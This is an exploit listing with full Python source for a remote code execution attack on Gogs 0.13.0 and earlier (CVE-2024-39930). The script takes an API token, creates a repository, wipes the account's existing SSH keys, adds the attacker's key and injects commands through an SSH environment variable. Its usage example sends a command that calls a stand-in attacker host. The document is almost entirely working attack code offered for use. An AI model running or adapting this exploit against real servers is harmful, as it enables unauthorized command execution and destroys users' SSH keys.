gogs 0.13.0 - Remote Code Execution (RCE)

# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE) 
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930


# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================

import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse

API_BASE_URL = ""

def generate_random_string(length=8, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    return ''.join(random.choices(charset, k=length))

def make_headers(token=None, basic_auth=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"token {token}"
    elif basic_auth:
        b64 = base64.b64encode(basic_auth.encode()).decode()
        headers["Authorization"] = f"Basic {b64}"
    return headers

def http_post(path, json=None, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.post(url, json=json, headers=headers)
    response.raise_for_status()
    return response

def http_get(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response

def http_delete(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.delete(url, headers=headers)
    response.raise_for_status()
    return response

def obtain_api_token(username, password):
    auth = f"{username}:{password}"
    headers = make_headers(basic_auth=auth)
    data = {"name": generate_random_string()}

    try:
        response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
        token = response.json()['sha1']
        print(f"[+] API Token Acquired: {token}")
        return token
    except Exception as e:
        print(f"[!] Failed to obtain API token: {e}")
        sys.exit(1)

def create_repo(token):
    repo_name = generate_random_string()
    headers = make_headers(token=token)
    data = {
        "name": repo_name,
        "description": "Auto-created repository",
        "private": False
    }

    try:
        response = http_post("/user/repos", json=data, headers=headers)
        full_name = response.json()['full_name']
        print(f"[+] Repository Created: {full_name}")
        return full_name
    except Exception as e:
        print(f"[!] Failed to create repository: {e}")
        sys.exit(1)

def delete_existing_ssh_keys(token):
    headers = make_headers(token=token)
    try:
        response = http_get("/user/keys", headers=headers)
        keys = response.json()
        for key in keys:
            key_id = key['id']
            http_delete(f"/user/keys/{key_id}", headers=headers)
            print(f"[+] Deleted SSH Key ID: {key_id}")
    except Exception as e:
        print(f"[!] Failed to delete existing SSH keys: {e}")
        sys.exit(1)

def add_ssh_key(public_key_path, token):
    delete_existing_ssh_keys(token)

    try:
        with open(public_key_path, 'r') as f:
            key = f.read()
    except Exception as e:
        print(f"[!] Failed to read public key file: {e}")
        sys.exit(1)

    headers = make_headers(token=token)
    data = {
        "title": generate_random_string(),
        "key": key
    }

    try:
        response = http_post("/user/keys", json=data, headers=headers)
        print(f"[+] SSH Key Added: {response.status_code}")
    except Exception as e:
        print(f"[!] Failed to add SSH key: {e}")
        sys.exit(1)

def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
    try:
        key = paramiko.RSAKey.from_private_key_file(private_key_path)
    except Exception as e:
        print(f"[!] Failed to load SSH key: {e}")
        sys.exit(1)

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)

        session = client.get_transport().open_session()

        print("[+] Executing command...... ")
        session.set_environment_variable("--split-string", command)
        session.exec_command(f"git-upload-pack {repo_path}")

        stdout = session.makefile('rb', 1024)
        stderr = session.makefile_stderr('rb', 1024)

        print("STDERR:", stderr.read().decode())
        print("STDOUT:", stdout.read().decode())

        session.close()
        client.close()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def main():
    global API_BASE_URL

    parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
    parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
    parser.add_argument("auth", help="Gogs credentials in the format username:password")
    parser.add_argument("private_key", help="Path to private SSH key")
    parser.add_argument("public_key", help="Path to public SSH key")
    parser.add_argument("command", help="Command to execute remotely")
    parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
    args = parser.parse_args()

    parsed_url = urlparse(args.url)
    API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
    ssh_host = parsed_url.hostname
    ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)

    try:
        username, password = args.auth.split(":")
    except ValueError:
        print("[!] Invalid format for auth argument")
        sys.exit(1)

    token = obtain_api_token(username, password)
    repo_path = create_repo(token)
    add_ssh_key(args.public_key, token)

    exploit(
        ssh_user=username,
        ssh_host=ssh_host,
        ssh_port=ssh_port,
        private_key_path=args.private_key,
        repo_path=repo_path,
        command=args.command
    )

if __name__ == "__main__":
    main()